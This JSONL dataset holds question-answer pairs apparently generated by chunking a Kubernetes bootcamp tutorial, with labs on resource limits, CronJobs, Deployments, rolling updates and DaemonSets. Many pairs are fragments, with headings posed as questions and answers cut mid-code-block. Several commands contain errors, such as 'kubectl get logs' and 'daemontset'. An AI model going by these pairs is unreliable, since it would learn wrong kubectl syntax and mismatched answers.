RAM equal to host RAM (run `cat /proc/meminfo` or `free -h`)\n   - both containers starts with an amount CPU equal to host CPU (run `cat /proc/cpuinfo` or `lscpu`)\n   - both containers does not exceed x2 the amount of host RAM\n9. Apply the manifest and review behaviour\n10. Delete created resources\n11. Review the Pod spec fields related to limits and requests\nlab6.6 solution\n```sh\nkubectl create ns dev --dry-run=client -o yaml >> lab6-6.yaml\necho --- >> lab6-6.yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754554"}
{"id": "gh_9a2cede33c34", "question": "How to: lab6-6.yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: Pod\nspec:\n  containers:\n    - resources:\n        requests:\n          memory: \"4Mi\"\n          cpu: \"250m\"\n        limits:\n          memory: \"8Mi\"\n          cpu: 1", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754562"}
{"id": "gh_701e7e377104", "question": "How to: etc - use above resources for both containers", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```\n\n```sh\nkubectl delete -f lab6-6.yaml\nkubectl apply -f lab6-6.yaml\nkubectl get pods -n dev --watch # watch for OOMKilled | CrashLoopBackOff\nkubectl get logs webapp -n dev -c database # not very helpful logs\nkubectl get logs webapp -n dev -c frontend\nkubectl describe pods webapp -n dev | less # helpful logs - Last State: Terminated, Reason: OutOfMemory (OOMKilled)\nkubectl describe pods webapp -n dev | grep -A 4 -E \"Containers:|State:|Limits:|Requests:\" | less\ncat /proc/cpuinfo # check for host memory\ncat /proc/meminfo # check for host ram\nnano lab6-6.yaml\n```\n\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754566"}
{"id": "gh_579fda51dda2", "question": "How to: Lab 6.7. Resource allocation and usage", "question_body": "About piouson/kubernetes-bootcamp", "answer": "This lab requires a Metrics Server running in your cluster, please run `minikube addons enable metrics-server` to enable Metrics calculation.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754581"}
{"id": "gh_520d4a166256", "question": "How to: view pods resource uage", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl top pod\n```\noutput from\n```\nkubectl describe node\n```\n![image](https://user-images.githubusercontent.com/17856665/191446804-8bbf8678-70ef-4f1c-a88c-bcbe01f8b232.png)\n1. Enable Metrics Server in your cluster\n2. What is the cluster Node's minimum required CPU and memory?\n3. Create a Pod as follows:\n   - image `nginx:alpine`\n   - does not restart, see `kubectl explain pod.spec`\n   - only pulls a new image if not present locally, see `kubectl explain pod.spec.containers`\n   - requires 0.2 CPU to start but does not exceed half of the cluster Node's CPU\n   - requires 64Mi memory to start but does not exceed half of the cluster Node's memory\n4. Review the running Pod and confirm resources configured as expected\n5. Delete created resources\nlab 6.7 solution\n```sh\nminikube addons enable metrics-server\nkubectl get node # show node name\nkubectl describe node $NODE_NAME | grep -iA10 \"allocated resources:\" # cpu 0.95, memory 460Mi\nkubectl run mypod --image=nginx:alpine --restart=Never --image-pull-policy=IfNotPresent --dry-run=client -oyaml>lab6-7.yml\nkubectl apply -f lab6-7.yml # cannot use `kubectl set` if pod don't exist\nkubectl set resources pod mypod --requests=cpu=200m,memory=64Mi --limits=cpu=475m,memory=230Mi --dry-run=client -oyaml|less\nnano lab6-7.yml # copy resources section of above output to pod yaml\n```\n\n```yaml\nkind: Pod\nspec:\n  containers:\n  - name: mypod\n    imagePullPolicy: IfNotPresent\n    resources:\n      limits:\n        cpu: 475m\n        memory: 230Mi\n      requests:\n        cpu: 200m\n        memory: 64Mi\n```\n\n```sh\nkubectl delete -f lab6-7.yml\nkubectl apply -f lab6-7.yml\nkubectl describe -f lab6-7.yml | grep -iA6 limits:\nkubectl delete -f lab6-7.yml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754597"}
{"id": "gh_64348d96c34e", "question": "How to: Task - CronJobs", "question_body": "About piouson/kubernetes-bootcamp", "answer": "In the `boa` Namespace, create a Pod that runs the shell command `date`, in a busybox container, once every hour, regardless success or failure. Job should terminate after 20s even if command still running. Jobs should be automatically deleted after 12 hours. A record of 5 successful Jobs and 5 failed Jobs should be kept. All resources should be named `bootcamp`, including the container. You may create a new Namespace if required.\n\nAt the end of your task, to avoid waiting an hour to confirm all works, manually run the Job from the Cronjob and verify expected outcome.\nhints\nhint 1\nDid you create the Cronjob in the `boa` Namespace? You can generate YAML with Namespace specified, see [lab 5.6](#lab-56-namespaces)\nhint 2\nYou can generate YAML for Cronjob schedule and command, see [_lab 6.5 - working with cronjobs_](#lab-65-working-with-cronjobs)\nhint 3\nSee `kubectl explain job.spec` for terminating and auto-deleting Jobs after specified time.\nhint 4\nSee `kubectl explain cronjob.spec` for keeping successful/failed Jobs.\nhint 5\nYou can create a Job to manually run a Cronjob, see `kubectl create job --help`\nhint 6\nDid you create the Job in the `boa` Namespace?\nhint 7\nDid you specify `cronjob.spec.jobTemplate.spec.activeDeadlineSeconds` and `cronjob.spec.jobTemplate.spec.ttlSecondsAfterFinished`?\nhint 8\nDid you specify `cronjob.spec.failedJobsHistoryLimit` and `cronjob.spec.successfulJobsHistoryLimit`?\nhint 9\nAfter Cronjob creation, did you verify configured parameters in `kubectl describe`?\nhint 10\nAfter manual Job creation, did you verify Job successfully triggered?", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754608"}
{"id": "gh_c61807d3347a", "question": "How to: Task - Resources and Security Context", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A client requires a Pod running the `nginx:1.21-alpine` image with name `webapp` in the `dog` Namespace. The Pod should start with 0.25 CPU and 128Mi memory, but shouldn't exceed 0.5 CPU and half of the Node's memory. All processes in Pod containers should run with user ID 1002 and group ID 1003. Containers mustn't run in `privileged` mode and privilege escalation should be disabled. You may create a new Namespace if required.\n\nWhen you are finished with the task, the client would also like to know the Pod with the highest memory consumption in the `default` Namespace. Save the name the Pod in the format `\n/\n` to a file `/home/$USER/ckad-tasks/resources/pod-with-highest-memory`\nhints\nhint 1\nDid you create the resource in the `dog` Namespace? You can generate YAML with Namespace specified, see [lab 5.6](#lab-56-namespaces)\nhint 2\nYou can separately generate YAML for the `pod.spec.containers.resources` section, see [_lab 6.7 - resource allocation and usage_](#lab-67-resource-allocation-and-usage)\nhint 3\nSee [lab 6.3](#lab-63-set-pod-security-context) for security context. You will need to add four separate rules for user ID, group ID, privileged and privilege escalation.\nhint 4\nYou can use a combination of the output-name and sorting format `kubectl -oname --sort-by=json-path-to-field`. The JSON path can be derived from viewing the resource with output-json `-ojson`. See [_kubectl_ cheatsheet](https://kubernetes.io/docs/reference/kubectl/cheatsheet/#viewing-finding-resources) for more details", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754619"}
{"id": "gh_de1372ca4252", "question": "How to: 7. Deployments", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[Deployments](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) manages Pods with scalability and reliability. This is the standard way to manage Pods and ReplicaSets in live environments.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754624"}
{"id": "gh_9c92cbec8254", "question": "How to: list existing resources filtered by selector `app=myapp`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get all --selector=\"app=myapp\" # or `--selector app=myapp`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754632"}
{"id": "gh_c78aa69f7dd4", "question": "How to: set deployment image for `webserver` container to `nginx:1.8`, see `kubectl set --help` for editable fields", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl set image deployment/myapp webserver=nginx:1.8", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754638"}
{"id": "gh_e7fbdf81ca84", "question": "How to: view the deployment spec", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain deploy.spec\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754643"}
{"id": "gh_e3a9b1edaeed", "question": "How to: Lab 7.1. Deploy an app with a replicaset", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Deployments can be used to rollout a ReplicaSet which manages the number of Pods. In [CKAD](https://www.cncf.io/certification/ckad/) you will only work with ReplicaSets via Deployments\n\n1. Create a deployment with three replicas using a suitable image\n2. Show more details of the deployment and review available fields:\n   - namespace, labels, selector, replicas, update strategy type, pod template, conditions, replicaset and events\n3. List all created resources\n4. Delete a Pod and monitor results\n5. Compare results to using _naked_ Pods (run a pod and delete it)\n6. Delete the ReplicaSet with `kubectl delete rs $rsName` and monitor results\n7. Delete created resources\n8. Explore the deployment spec\n9. Explore the Kubernetes API Resources to determine when deployments and replicasets was introduced\nlab7.1 solution\n```sh\nkubectl create deploy myapp --image=httpd --replicas=3\nkubectl describe deploy myapp | less\nkubectl get all\nkubectl delete pod $POD_NAME\nkubectl get all\nkubectl get pods --watch # watch replicaset create new pod to replace deleted\nkubectl run mypod --image=httpd\nkubectl get all\nkubectl delete pod mypod\nkubectl get all # naked pod not recreated\nkubectl delete replicaset $REPLICASET_NAME # pods and replicaset deleted\nkubectl get all\nkubectl get pods --watch # deployment creates new replicaset, and replicaset creates new pods\nkubectl delete deploy myapp nginx-deployment\nkubectl explain deploy.spec\nkubectl api-resources # deployments & replicasets were introduced in apps/v1", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754650"}
{"id": "gh_725a7555d1d3", "question": "How to: Lab 7.2. Scale deployment", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A deployment creates a ReplicaSet that manages scalability. Do not manage replicasets outside of deployments.\n\n1. Create a deployment using the official deployment manifest example `controllers/nginx-deployment.yaml`\n2. List created resources\n3. Edit the deployment with `kubectl edit` and change the `namespace` to dev\n4. Save the editor and confirm behaviour\n5. Edit the deployment again using a different editor, change the replicas to 12 and upgrade the image version\n6. Save the editor and confirm behaviour, then immediately list all resources and review:\n   - deployment status for `READY`, `UP-TO-DATE` and `AVAILABLE`\n   - replicaset status for `DESIRED`, `CURRENT` and `READY`\n   - pod status for `NAME`, `READY` and `STATUS`\n   - compare the _ID-suffix_ in the Pods name to the ReplicaSets name\n7. View details of deployment to confirm edit applied, including image change\n8. Scale down the deployment back to 3 replicas using `kubectl scale` and review same in [6]\n9. List all resources and confirm scaling applied\n10. Delete created resources\n11. Edit the `apiVersion` of the manifest example file to `apps/v0`\n12. Apply the edited manifest and confirm behaviour\nlab7.2 solution\n```sh\nwget -O lab7-2.yaml https://k8s.io/examples/controllers/nginx-deployment.yaml\nkubectl apply -f lab7-2.yaml\nkubectl get all\nkubectl edit -f lab7-2.yaml\n```\n\n```yaml\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  namespace: dev", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754661"}
{"id": "gh_04cb2500a4a7", "question": "How to: etc (save failed: not all fields are editable - cancel edit)", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```\n\n```sh\nKUBE_EDITOR=nano kubectl edit -f lab7-2.yaml\n```\n\n```yaml\nkind: Deployment\nspec:\n  replicas: 12\n  template:\n    spec:\n      containers:\n        - image: nginx:1.3", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754667"}
{"id": "gh_43026894d24e", "question": "How to: etc - save successful", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```\n\n```sh\nkubectl get all\nkubectl describe -f lab7-2.yaml | less\nkubectl scale deploy myapp --replicas=3\nkubectl get all\nkubectl delete -f lab7-2.yaml\nnano lab7-2.yaml\n```\n\n```yaml\napiVersion: apps/v0\nkind: Deployment", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754671"}
{"id": "gh_6762a2a169d8", "question": "How to: Labels, selectors and annotations", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Labels are used for groupings, filtering and providing metadata. Selectors are used to group related resources. Annotations are used to provide additional metadata but are not used in queries. \\\nWhen a deployment is created, a default Label `app=$appName` is assigned, and a similar Selector is also created. When a pod is created, a default Label `run=$podName` is assigned\n\n> Labels added after creating a deployment are not inherited by the resources\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754676"}
{"id": "gh_b1cdb68c8d17", "question": "How to: remove the `run` label from pod `mypod`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl label pod mypod run-\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754682"}
{"id": "gh_ab211136ab2f", "question": "How to: Lab 7.3. Working with labels", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a deployment `myapp` with three replicas using a suitable image\n2. List all deployments and their labels to confirm default labels assigned\n3. Add a new label `pipeline: test` to the deployment\n4. List all deployments and their labels\n5. View more details of the deployment and review labels/selectors\n6. View the YAML form of the deployment to see how labels are added in the manifest\n7. Verify the default label/selector assigned when you created a new Pod\n8. List all resources and their labels filtered by default label of the deployment\n9. List all resources and their labels, filtered by new label added, compare with above\n10. Remove the default label from one of the pods in the deployment and review behaviour\n11. List all pods and their labels\n12. List all pods filtered by the default label\n13. Delete the deployment\n14. Delete the _naked_ Pod from [10]\nlab7.3 solution\n```sh\nkubectl create deploy myapp --image=httpd --dry-run=client -o yaml >> lab7-3.yaml\nkubectl apply -f lab7-3.yaml\nkubectl get deploy --show-labels\nkubectl label deploy myapp pipeline=test\nkubectl get deploy --show-labels\nkubectl describe -f lab7-3.yaml\nkubectl get -o yaml -f lab7-3.yaml | less\nkubectl run mypod --image=nginx --dry-run=client -o yaml | less\nkubectl get all --selector=\"app=myapp\"\nkubectl get all --selector=\"pipeline=test\"\nkubectl label pod $POD_NAME app- # pod becomes naked/dangling and unmanaged by deployment\nkubectl get pods --show-labels # new pod created to replace one with label removed\nkubectl get pods --selector=\"app=myapp\" # shows 3 pods\nkubectl delete -f lab7-3.yaml # $POD_NAME not deleted! `deploy.spec.selector` is how a deployment find pods to manage!\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754692"}
{"id": "gh_00947be232e6", "question": "How to: Update strategy", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[Rolling updates](https://kubernetes.io/docs/tutorials/kubernetes-basics/update/update-intro/) is the default update strategy, triggered when a field in the deployment's Pod template `deployment.spec.template` is changed. A new ReplicaSet is created that creates updated Pods one after the other, and the old ReplicaSet is scaled to 0 after successful update. At some point during the update, both old version and new version of the app will be live. By default, ten old ReplicaSets will be kept, see [`deployment.spec.revisionHistoryLimit`](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#revision-history-limit)\n\nThe other type of update strategy is [Recreate](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#recreate-deployment), where all Pods are killed before new Pods are created. This is useful when you cannot have different versions of an app running simultaneously, e.g database.\n\n- [`deploy.spec.strategy.rollingUpdate.maxUnavailable`](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#max-unavailable): control number of Pods upgraded simultaneously\n- [`deploy.spec.strategy.rollingUpdate.maxSurge`](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#max-surge): controls the number of additional Pods, more than the specified replicas, created during update. Aim to have a higher `maxSurge` than `maxUnavailable`.\n\n> A Deployment's rollout is only triggered if a field within the Pod template `deploy.spec.template` is changed \\\n> Scaling down a Deployment to 0 is another way to delete all resources, saving costs, while keeping the config for a quick scale up when required\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754698"}
{"id": "gh_2d61be348f25", "question": "How to: view update strategy field recursively", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain deployment.spec.strategy --recursive", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754702"}
{"id": "gh_22c5ad7e6c3e", "question": "How to: view specific change revision/log for `myapp` deployment (note this shows fields that affect rollout)", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl rollout history deployment myapp --revision=n", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754712"}
{"id": "gh_e6c1b6175d69", "question": "How to: revert `myapp` deployment to previous version/revision, see `kubectl rollout undo -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl rollout undo deployment myapp --to-revision=n\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754717"}
{"id": "gh_20c95a4c2e53", "question": "How to: Lab 7.4. Rolling updates", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Review the update strategy field under the deployment spec\n2. Create a deployment with a suitable image\n3. View more details of the deployment\n   - by default, how many pods can be upgraded simultaneously during update?\n   - by default, how many pods can be created in addition to the number of replicas during update?\n4. Create a new deployment with the following parameters:\n   - 5 replicas\n   - image `nginx:1.18`\n   - additional deployment label `update: feature`\n   - maximum of 2 Pods can be updated simultaneously\n   - no more than 3 additional Pod created during updates\n5. List all resources filtered by the default label\n6. List all resources filtered by the additional label\n7. List rollout history for all deployments - how many revisions does the new deployment have?\n8. Upgrade/downgrade the image version\n9. List all resources specific to the new deployment\n10. List rollout history specific to the new deployment - how many revisions?\n11. View more details of the deployment and note the image and _Events messages_\n12. Compare the latest change revision of the new deployment's rollout history to the previous revision\n13. Revert the new deployment to its previous revision\n14. List all resources specific to the new deployment twice or more to track changes\n15. List rollout history specific to the new deployment - any new revisions?\n16. Scale the new deployment to 0 Pods\n17. List rollout history specific to the new deployment - any new revisions?\n18. List all resources specific to the new deployment\n19. Delete created resources\nlab7.4 solution\n```sh\nkubectl explain deploy.spec.strategy | less\nkubectl create deploy myapp --image=nginx --dry-run=client -o yaml > lab7-4.yaml\nkubectl apply -f lab7-4.yaml\nkubectl describe -f lab7-4.yaml\nkubectl get deploy myapp -o yaml | less # for manifest example to use in next step\nnano lab7-4.yaml # edit to new parameters\n```\n\n```yaml\nkind: Deployment\nmetadata:\n  labels: # labels is `map` not `array` so no `-` like containers\n    app: myapp\n    updates: feature\n  name: myapp\nspec:\n  replicas: 5\n  strategy:\n    rollingUpdate:\n      maxSurge: 3\n      maxUnavailable: 2\n  template:\n    spec:\n      containers:\n        - image: nginx:1.18\n          name: webserver", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754728"}
{"id": "gh_f1b3566f5fb4", "question": "How to: DaemonSets", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A [_DaemonSet_](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) is a kind of deployment that ensures that all (or some) Nodes run a copy of a particular Pod. This is useful in a multi-node cluster where specific application is required on all nodes, e.g. running a - cluster storage, logs collection, node monitoring, network agent - daemon on every node. As nodes are added to the cluster, Pods are added to them. As nodes are removed from the cluster, those Pods are garbage collected. Deleting a DaemonSet will clean up the Pods it created.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754736"}
{"id": "gh_5fe13eddaec1", "question": "How to: view the daemonset spec recursively", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain daemontset.spec --recursive | less\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754741"}
{"id": "gh_53aaa4de0e6d", "question": "How to: Lab 7.5. Exploring DaemonSets", "question_body": "About piouson/kubernetes-bootcamp", "answer": "DaemonSets can only be created by YAML file, see an official example manifest `controllers/daemonset.yaml`.\n\n1. Compare the DaemonSet manifest to a Deployment manifest - differences/similarities?\n2. Apply the example manifest\n3. List all resources and note resources created by the DaemonSet\n4. View more details of the DaemonSet\n5. Delete created resources\n6. Review the Kubernetes API Resources to determine when DaemonSets was introduced\n7. List existing DaemonSets in the _kube-system_ namespace and their labels\n   - what does Kubernetes use a DaemonSet for?\n8. List all resources in the _kube-system_ namespace matching the DaemonSet label\n9. Review the DaemonSet spec\nlab7.5 solution\n```sh\nkubectl create deploy myapp --image=nginx --dry-run=client -o yaml | less # view fields required\nwget -qO- https://k8s.io/examples/controllers/daemonset.yaml | less # similar to deployment, except Kind and replicas\nkubectl apply -f https://k8s.io/examples/controllers/daemonset.yaml\nkubectl get all # note daemonset and related pod\nkubectl describe -f https://k8s.io/examples/controllers/daemonset.yaml\nkubectl delete -f https://k8s.io/examples/controllers/daemonset.yaml\nkubectl api-resources # introduced in version apps/v1\nkubectl get ds -n=kube-system --show-labels # used to add network agent `kube-proxy` to all cluster nodes\nkubectl get all -n=kube-system --selector=\"k8s-app=kube-proxy\"\nkubectl explain daemonset.spec | less\nkubectl explain daemonset.spec --recursive | less\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754748"}
{"id": "gh_369e9c9a0c05", "question": "How to: Lab 7.6. Resource usage and Autoscaling", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Autoscaling is very important in live environments but not covered in [CKAD](https://www.cncf.io/certification/ckad/). Visit [HorizontalPodAutoscaler Walkthrough](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/#run-and-expose-php-apache-server) for a complete lab on autoscaling.\n\n> The lab requires a _metrics-server_ so install one via Minikube if you plan to complete the lab\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754753"}
{"id": "gh_6a9dde94c0b5", "question": "How to: disable minikube metrics-server", "question_body": "About piouson/kubernetes-bootcamp", "answer": "minikube addons disable metrics-server\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754758"}
{"id": "gh_7f3f640751c9", "question": "How to: Task - Deployment", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Some bootcamp students have been messing with the `webapp` Deployment for the test environment's webpage in the `default` Namespace, leaving it broken. Please rollback the Deployment to the last fully functional version. Once on the fully functional version, update the Deployment to have a total of 10 Pods, and ensure that the total number of old and new Pods, during a rolling update, do not exceed 13 or go below 7.\n\nUpdate the Deployment to `nginx:1.22-alpine` to confirm the Pod count stays within these thresholds. Then rollback the Deployment to the fully functional version. Before you leave, set the Replicas to 4, and just to be safe, Annotate all the Pods with `description=\"Bootcamp Test Env - Please Do Not Change Image!\"`.\n\n- Command to setup environment:\n  ```sh\n  printf '\\nlab: environment setup in progress...\\n'; echo '{\"apiVersion\":\"apps/v1\",\"kind\":\"Deployment\",\"metadata\":{\"labels\":{\"appid\":\"webapp\"},\"name\":\"webapp\"},\"spec\":{\"replicas\":2,\"revisionHistoryLimit\":15,\"selector\":{\"matchLabels\":{\"appid\":\"webapp\"}},\"template\":{\"metadata\":{\"labels\":{\"appid\":\"webapp\"}},\"spec\":{\"volumes\":[{\"name\":\"varlog\",\"emptyDir\":{}}],\"containers\":[{\"image\":\"nginx:1.12-alpine\",\"name\":\"nginx\",\"volumeMounts\":[{\"name\":\"varlog\",\"mountPath\":\"/var/logs\"}]}]}}}}' > k8s-task-6.yml; kubectl apply -f k8s-task-6.yml >/dev/null; cp k8s-task-6.yml k8s-task-6-bak.yml; sed -i -e 's/nginx:1.12-alpine/nginx:1.13alpine/g' k8s-task-6.yml 2>/dev/null; sed -i '' 's/nginx:1.12-alpine/nginx:1.13alpine/g' k8s-task-6.yml 2>/dev/null; kubectl apply -f k8s-task-6.yml >/dev/null; sleep 1; sed -i -e 's/nginx:1.13alpine/nginx:1.14-alpine/g' k8s-task-6.yml 2>/dev/null; sed -i '' 's/nginx:1.13alpine/nginx:1.14-alpine/g' k8s-task-6.yml 2>/dev/null; kubectl apply -f k8s-task-6.yml >/dev/null; sleep 4; sed -i -e 's/nginx:1.14-alpine/nginx:1.15-alpine/g' k8s-task-6.yml 2>/dev/null; sed -i -e 's/\\/var\\/logs/\\/usr\\/share\\/nginx\\/html/g' k8s-task-6.yml 2>/dev/null; sed -i '' 's/nginx:1.14-alpine/nginx:1.15-alpine/g' k8s-task-6.yml 2>/dev/null; sed -i '' 's/\\/var\\/logs/\\/usr\\/share\\/nginx\\/html/g' k8s-task-6.yml 2>/dev/null; kubectl apply -f k8s-task-6.yml >/dev/null; sleep 2; sed -i -e 's/nginx:1.15-alpine/ngnx:1.16-alpine/g' k8s-task-6.yml 2>/dev/null; sed -i -e 's/\\/var\\/logs/\\/usr\\/share\\/nginx\\/html/g' k8s-task-6.yml 2>/dev/null; sed -i '' 's/nginx:1.15-alpine/ngnx:1.16-alpine/g' k8s-task-6.yml 2>/dev/null; sed -i '' 's/\\/var\\/logs/\\/usr\\/share\\/nginx\\/html/g' k8s-task-6.yml 2>/dev/null; kubectl apply -f k8s-task-6.yml >/dev/null; sleep 4; kubectl apply -f k8s-task-6-bak.yml >/dev/null; sleep 4; kubectl rollout undo deploy webapp --to-revision=5 >/dev/null; kubectl delete $(kubectl get rs --sort-by=\".spec.replicas\" -oname | tail -n1) >/dev/null; rm k8s-task-6.yml k8s-task-6-bak.yml; echo 'lab: environment setup complete!'\n  ```\n- Command to destroy environment:\n  ```sh\n  kubectl delete deploy webapp\n  ```\nhints\nhint 1\nReplicaSets store the Pod configuration used by a Deployment.\nhint 2\nYou can reveal more resource details with `kubectl get -owide`. You might be able to find defective Pods/ReplicaSets quicker this way.\nhint 3\nYou will need to review the Deployment's rollout history, see [lab 7.4 - rolling 